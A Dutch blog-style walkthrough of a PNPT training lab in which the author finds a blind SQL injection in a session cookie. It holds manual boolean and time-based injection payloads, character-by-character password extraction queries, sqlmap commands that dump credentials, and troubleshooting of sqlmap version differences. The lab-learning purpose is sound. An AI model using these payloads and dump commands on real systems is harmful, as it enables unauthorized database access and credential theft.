PNPT Lab Deep Dive: Wanneer Training Methods Falen – Een Complete SQLmap Troubleshooting Guide

Wanneer PNPT Training Methods Falen: Een Troubleshooting Journey

De dag dat SQLmap me leerde dat cybersecurity meer is dan het volgen van tutorials

TL;DR: In dit PNPT-lab werkte de SQLmap file-methode (-r req2.txt) niet meer door gewijzigde request parsing in nieuwere versies. Door over te stappen op de URL-methode én later te testen met een oudere SQLmap-versie ontdekte ik dat het geen user error was, maar tool evolutie. De belangrijkste les: vertrouw niet blind op trainingsmateriaal – vertrouw op je eigen troubleshooting skills.

Het Begin: Manual Discovery zoals in het Lab

Het was een rustige zondag toen ik PNPT lab injection 0x02 aanpakte. Het lab begon, zoals de meeste PNPT labs, met handmatige discovery techniques. Ik logde in met jeremy:jeremy en begon systematisch te onderzoeken of er SQL injection kwetsbaarheden aanwezig waren.

De eerste stap was altijd Burp Suite. Ik ving de login request op, stuurde hem naar Repeater, en begon te experimenteren met de session cookie. Het lab leerde me om blind SQL injection te detecteren via boolean-based testing.

Ik begon met basis boolean testing:

jeremy' AND 1=1# gaf een response van 1027 bytes
jeremy' AND 1=2# gaf een response van 1928 bytes

Perfect! Het verschil in content-length bevestigde de blind SQL injection kwetsbaarheid. Het lab demonstreerde ook hoe je character voor character zou kunnen extracten:

— Database versie testen
jeremy’ AND (SELECT SUBSTRING(@@version,1,1))=’8’# → 1027 bytes (TRUE)

— Concept van password extractie  
jeremy’ AND (SELECT SUBSTRING((SELECT password FROM injection0x02 WHERE username=’jessamy’),1,1))=’Z’# → 1027 bytes (TRUE)

Het lab toonde het concept – je zou theoretisch karakter voor karakter kunnen raden door het alfabet af te gaan en content-length verschillen te observeren. Maar dit was natuurlijk extreem tijdrovend en precies waarom geautomatiseerde tools bestaan.

De SQLmap Introductie

Na de manual discovery introduceerde het lab SQLmap als de professionele oplossing. “Waarom handmatig doen wat een tool in seconden kan?” was de boodschap. Het was tijd om van manual exploitation over te stappen naar automated tools.

Ik volgde de lab instructies nauwgezet:

Capture de request in Burp Suite
Copy to file → req2.txt
Voer SQLmap uit met het request bestand

Het leek zo simpel. Na het demonstreren van de manual technique zou SQLmap alles automatiseren en binnen minuten alle data extracten.

sqlmap -r req2.txt –level=2

Maar in plaats van de verwachte SQL injection detectie kreeg ik een cryptische foutmelding:

[CRITICAL] specified file ‘req2.txt’ does not contain a usable HTTP request (with parameters)

De Eerste Golf van Verwarring

Dit was niet wat er zou moeten gebeuren. Ik had net handmatig bewezen dat de injection bestond. Ik had de exact juiste session cookie, de vulnerable parameter was duidelijk, en ik had de request precies gekopieerd zoals in het lab werd uitgelegd.

Mijn eerste reactie was wat elke beginnende pentester zou doen – het nog een keer proberen. Misschien had ik iets verkeerd gekopieerd. Ik controleerde mijn req2.txt bestand drie keer:

GET /labs/i0x02.php HTTP/1.1
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://localhost/index.php
Cookie: session=6967cabefd763ac1a1a88e11159957db
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

Het zag er perfect uit. Exact zoals de andere request files die ik had gezien in voorbeelden online. Maar SQLmap weigerde het te accepteren.

Troubleshooting Pogingen

Ik probeerde verschillende variaties:

# Misschien had het expliciete parameter specificatie nodig
sqlmap -r req2.txt -p session –level=2

# Of meer verbosity om te zien wat er mis ging  
sqlmap -r req2.txt –level=2 -v 3

# Of aangepaste risk levels
sqlmap -r req2.txt –level=3 –risk=2

Niets werkte. Elke poging gaf dezelfde frustrerende foutmelding. Het werd nog verwarrender toen ik online forums vond vol met mensen die deze exacte methode succesvol gebruikten voor vergelijkbare labs.

Het Moment van Inzicht

Na meer dan een uur van nutteloze pogingen begon ik na te denken over wat er anders kon zijn. Ik wist dat de injection bestond – ik had het handmatig bewezen. Het request bestand zag er correct uit. Wat kon het probleem zijn?

Misschien lag het niet aan mijn bestand of techniek, maar aan de tool zelf. Ik besloot een andere benadering te proberen – de URL method in plaats van de file method:

sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=6967cabefd763ac1a1a88e11159957db” –level=2 –batch

En plotseling, alsof er een schakelaar werd omgezet, begon SQLmap te doen wat het moest doen:

[INFO] Cookie parameter ‘session’ appears to be dynamic
[INFO] Cookie parameter ‘session’ appears to be ‘AND boolean-based blind’ injectable  
[INFO] Cookie parameter ‘session’ appears to be ‘MySQL >= 5.0.12 AND time-based blind’ injectable

sqlmap identified the following injection point(s):
—
Parameter: session (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind – WHERE or HAVING clause  
    Payload: session=6967cabefd763ac1a1a88e11159957db’ AND 1448=1448 AND ‘dFnf’=’dFnf
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session=6967cabefd763ac1a1a88e11159957db’ AND (SELECT 2119 FROM (SELECT(SLEEP(5)))iwtN) AND ‘FvSO’=’FvSO
—

Eindelijk! Na uren van frustratie had ik een werkende methode gevonden. Maar de vraag bleef: waarom werkte de file method uit het lab niet?

Belangrijke Leerpunt: Alternatieve benaderingen zijn essentieel wanneer de primaire methode faalt. In real-world scenarios heb je altijd backup strategieën nodig.

De Systematische Aanval

Nu ik eindelijk een werkende SQLmap setup had, kon ik de systematische data extractie beginnen waar ik de hele dag naar had toegewerkt. Het voelde als een bevrijding om eindelijk de geautomatiseerde power van SQLmap te kunnen gebruiken.

Database Discovery

sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=6967cabefd763ac1a1a88e11159957db” –level=2 –batch –dbs

[INFO] fetching database names
available databases [3]:
[*] information_schema
[*] peh-labs  
[*] performance_schema

Drie databases: information_schema, performance_schema, en de interessante peh-labs. Precies wat je zou verwachten in een PNPT lab omgeving.

Tabel Enumeratie

sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=6967cabefd763ac1a1a88e11159957db” –level=2 –batch -D peh-labs –tables

Database: peh-labs [10 tables]
+————————+
| auth0x02               |
| auth0x03               |  
| c0x03                  |
| idor0x01               |
| injection0x01          |
| injection0x02          | ← DOELWIT
| injection0x03_products |
| injection0x03_users    |
| xss0x02                |
| xss0x03                |
+————————+

En daar was het – een complete overzicht van alle PNPT labs. Het was fascinerend om de volledige lab structuur te zien.

Kolom Structuur Analyse

sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=6967cabefd763ac1a1a88e11159957db” –level=2 –batch -D peh-labs -T injection0x02 –columns

Database: peh-labs
Table: injection0x02 [4 columns]
+———-+————-+
| Column   | Type        |
+———-+————-+
| email    | varchar(50) |
| password | varchar(30) |
| session  | varchar(50) |  
| username | varchar(30) |
+———-+————-+

Een standaard authenticatie setup – perfect voor credential extractie.

Complete Data Extractie

sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=6967cabefd763ac1a1a88e11159957db” –level=2 –batch -D peh-labs -T injection0x02 –dump

En toen de finale – de volledige data dump:

email	password	username	session
jeremy@example.com	jeremy	jeremy	6967cabefd763ac1a1a88e11159957db (jeremy)
jessamy@example.com	ZWFzdGVyZWdn	jessamy	9dedc6891e2839a791ed37157f1241fe (jessamy)

SQLmap dumpte netjes alle waarden uit de database. De string ZWFzdGVyZWdn zag er verdacht uit – niet zoals een normaal wachtwoord. Een snelle Base64 decode onthulde de verrassing:

echo “ZWFzdGVyZWdn” | base64 -d
# Output: easteregg

Een leuke easter egg van de lab makers! Dit toont ook het belang van altijd je resultaten te analyseren – niet alles is wat het lijkt.

Belangrijke Leerpunt: Complete aanvalsketen succesvol – credentials geëxtraheerd, session tokens geïdentificeerd, verborgen data onthuld. Analyse van outputs is net zo belangrijk als de extractie zelf.

De Detective Work: Waarom Faalde de File Method?

Maar ik kon de oorspronkelijke vraag niet loslaten: waarom werkte de file method niet? Het succes met de URL method was geweldig, maar als PNPT student wilde ik begrijpen waarom de training methode faalde.

Ik begon te onderzoeken of het misschien een versie probleem was. De PNPT training was waarschijnlijk gemaakt met een oudere SQLmap versie, terwijl ik een recente installatie gebruikte.

Om dit te testen, clonede ik de SQLmap repository en checkde uit naar versie 1.7 – ongeveer de tijd frame waarin de PNPT training werd gemaakt:

cd /tmp
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-test
cd sqlmap-test  
git checkout 1.7

Ik maakte mijn SQLmap session cache leeg om een clean test te krijgen:

rm -rf ~/.local/share/sqlmap/output/localhost

En toen het moment van waarheid:

python sqlmap.py -r req2.txt –level=2 –batch -v 3

En het werkte! SQLmap 1.7.2 parsete mijn request file perfect, identificeerde de cookie parameter, en begon aan een exhaustieve test van meer dan 300 HTTP requests:

[INFO] parsing HTTP request from ‘req2.txt’
[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if Cookie parameter ‘session’ is dynamic
[INFO] Cookie parameter ‘session’ appears to be dynamic
[INFO] testing for SQL injection on Cookie parameter ‘session’
[INFO] Cookie parameter ‘session’ appears to be ‘AND boolean-based blind’ injectable
[INFO] Cookie parameter ‘session’ appears to be ‘MySQL >= 5.0.12 AND time-based blind’ injectable

sqlmap identified the following injection point(s) with a total of 300 HTTP(s) requests:
—
Parameter: session (Cookie)
    Type: boolean-based blind
    Type: time-based blind
—

Exact hetzelfde bestand dat faalde met SQLmap 1.9.9 werkte vlekkeloos met de oudere versie!

cd /tmp && rm -rf sqlmap-test

Het Eureka Moment

Plotseling viel alles op zijn plaats. Dit was geen gebruikersfout, geen verkeerd bestand, geen misconfiguratie. Dit was tool evolutie in actie.

In mijn setup zag ik een duidelijk verschil: met SQLmap 1.7.2 werkte hetzelfde request file wél, terwijl 1.9.9 het afwees. Alles wijst erop dat er tussen deze versies iets is veranderd in hoe request files worden geparset – vooral bij requests waar alleen een cookie parameter interessant is.

Request Parsing Evolutie

SQLmap 1.7.2 Gedrag:

Agressief in het detecteren van potentiële injection points
Cookie parameters in GET requests = automatische kandidaten
Tolerante parsing van request files

SQLmap 1.9.9 Gedrag:

Conservatievere benadering
Strengere validatie van wat een “parameterized request” is
Cookie-only GET requests vereisen expliciete specificatie

Waarom Deze Verandering?

De evolutie had waarschijnlijk logische redenen:

False positive reductie: Voorkom onbedoelde testing van niet-injectable parameters
Performance optimalisatie: Sla duidelijk niet-injectable requests over
Veiligheid: Verminder risico van onbedoelde schade tijdens automated testing

Maar het had een onverwachte consequentie: training materiaal gebaseerd op het oude gedrag werkte niet meer.

Het Praktische Arsenaal: Complete Oplossingen

Na deze ervaring had ik een compleet arsenaal aan workarounds ontwikkeld voor vergelijkbare situaties:

Methode 1: URL Benadering (Aanbevolen)

# Basis URL method
sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=SESSION_VALUE” –level=2 –batch

# Met specifieke technieken voor snellere resultaten
sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=SESSION_VALUE” –level=2 –batch –technique=BT

# Met threading voor performance  
sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=SESSION_VALUE” –level=2 –batch –threads=5

Methode 2: Expliciete Parameter Specificatie

# Force SQLmap om session parameter te testen
sqlmap -r req2.txt -p session –level=2 –batch

# Voor meerdere parameters
sqlmap -r req2.txt -p “session,andere_param” –level=2 –batch

Methode 3: Request File Modificatie

# Voeg asterisk toe om injection point te markeren in req.txt:
Cookie: session=6967cabefd763ac1a1a88e11159957db*

# Voer dan uit:
sqlmap -r req2_modified.txt –level=2 –batch

Methode 4: Database Type Forcing

# Als je weet welke database het is, kan je detection versnellen
sqlmap -u “http://localhost/labs/i0x02.php” –cookie=”session=SESSION_VALUE” –level=2 –batch –dbms=mysql

Methode 5: Header-based Benadering

# Alternatieve manier om cookies te specificeren
sqlmap -u “http://localhost/labs/i0x02.php” –header=”Cookie: session=SESSION_VALUE*” –level=2 –batch

Systematische Troubleshooting Framework

Deze ervaring leerde me een systematische benadering voor troubleshooting die ik nu altijd gebruik:

1. Probleem Identificatie

Definieer duidelijk verwacht vs werkelijk gedrag
Verzamel alle foutmeldingen en diagnostische informatie
Isoleer variabelen (tool, doelwit, omgeving, configuratie)

2. Basis Verificatie

Controleer documentatie voor bekende problemen
Verifieer basis functionaliteit met eenvoudige tests
Bevestig dat de kwetsbaarheid daadwerkelijk bestaat (manual testing)

3. Alternatieve Benaderingen

Probeer verschillende tool flags en opties
Gebruik alternatieve tools voor verificatie
Test verschillende input methodes (URL vs file vs header)

4. Root Cause Analyse

Vorm hypotheses gebaseerd op symptomen
Voer gecontroleerde tests uit om variabelen te isoleren
Onderzoek versie wijzigingen, updates, configuratie verschillen

5. Oplossing Ontwikkeling

Ontwikkel meerdere werkende benaderingen
Test elke methode grondig in verschillende scenarios
Documenteer alle werkende oplossingen voor toekomstig gebruik

6. Kennis Consolidatie

Deel bevindingen met de community
Update je persoonlijke playbooks
Draag bij aan documentatie en troubleshooting guides

PNPT-Specifieke Lessen voor de Nederlandse Community

Voor Exam Voorbereiding:

Ken je tools diep: Begrijp niet alleen hoe tools werken, maar ook hun beperkingen en versie-afhankelijkheden
Oefen troubleshooting: Simuleer scenarios waarin standaard methods falen
Ontwikkel backup strategieën: Voor elke technique moet je meerdere approaches kennen
Master manual techniques: Automated tools falen – manual skills redden je

Voor Professional Development:

Documenteer tool versies: In echte penetration testing rapporten is dit cruciaal
Blijf flexibel: Moderne omgevingen vereisen aanpassing van “legacy” methodologies
Investeer in begrip: Tools evolueren, principes blijven
Deel je struggles: De Nederlandse cybersecurity community leert van elkaars troubleshooting experiences

Reflectie op de Journey

Wat begon als een frustrerende zondag waar “niets werkte zoals het hoorde” eindigde als een waardevolle learning experience. Ik had niet alleen het lab succesvol afgerond, maar ook een dieper begrip ontwikkeld van tool behavior, troubleshooting methodologie, en de realiteit van cybersecurity work.

Deze ervaring herinnerde me eraan waarom ik van legal naar cybersecurity ben overgestapt. In de juridische wereld zijn precedenten en procedures relatief stabiel. In cybersecurity is verandering de enige constante. Elke dag brengt nieuwe tools, nieuwe technieken, en nieuwe uitdagingen.

Voor andere Nederlandse PNPT kandidaten die dit lezen: embrace de momenten wanneer dingen niet werken zoals verwacht. Die momenten zijn vaak wanneer je het meest leert. De examiner wil niet alleen zien dat je tutorials kunt volgen – hij wil zien dat je kunt denken, aanpassen, en problemen kunt oplossen wanneer de standaard playbook faalt.

En voor de bredere Nederlandse cybersecurity community: deel je struggles net zo veel als je successes. De verhalen van wanneer dingen niet werkten zijn vaak leerzamer dan de verhalen van wanneer alles perfect ging.

Conclusie: Van Tool Operator naar Security Professional

Deze SQLmap troubleshooting journey was meer dan alleen een technical problem – het was een les in professionele groei. Het verschil tussen een tool operator en een cybersecurity professional ligt niet in het perfect kunnen uitvoeren van procedures, maar in het vermogen om aan te passen wanneer die procedures falen.

Key Takeaway: Echte cybersecurity expertise ligt niet in het blind volgen van tutorials, maar in het systematisch kunnen analyseren, troubleshooten, en oplossen van onverwachte problemen. Tool evolutie is een realiteit – professional adaptatie is een noodzaak.

Wat Deze Case Study Demonstreert:

Tool Evolution Impact: Versie wijzigingen kunnen gevestigde workflows breken
Diagnostic Mindset: Systematische troubleshooting is een core skill
Multiple Attack Vectors: Altijd backup methodologies paraat hebben
Manual Foundation: Automated tools bouwen voort op manual begrip
Community Value: Real troubleshooting experiences zijn goud waard voor anderen

Voor de Nederlandse PNPT community betekent dit dat we niet alleen tools moeten leren, maar vooral moeten ontwikkelen tot probleemoplossers. In real-world scenarios wacht niemand op perfecte condities – succes komt van het vermogen om systematisch challenges te identificeren en op te lossen.

Deze case study toont dat de interessantste cybersecurity lessons vaak komen uit momenten van frustratie en failure. Het zijn precies die momenten die ons onderscheiden van degenen die alleen happy path scenarios kunnen uitvoeren.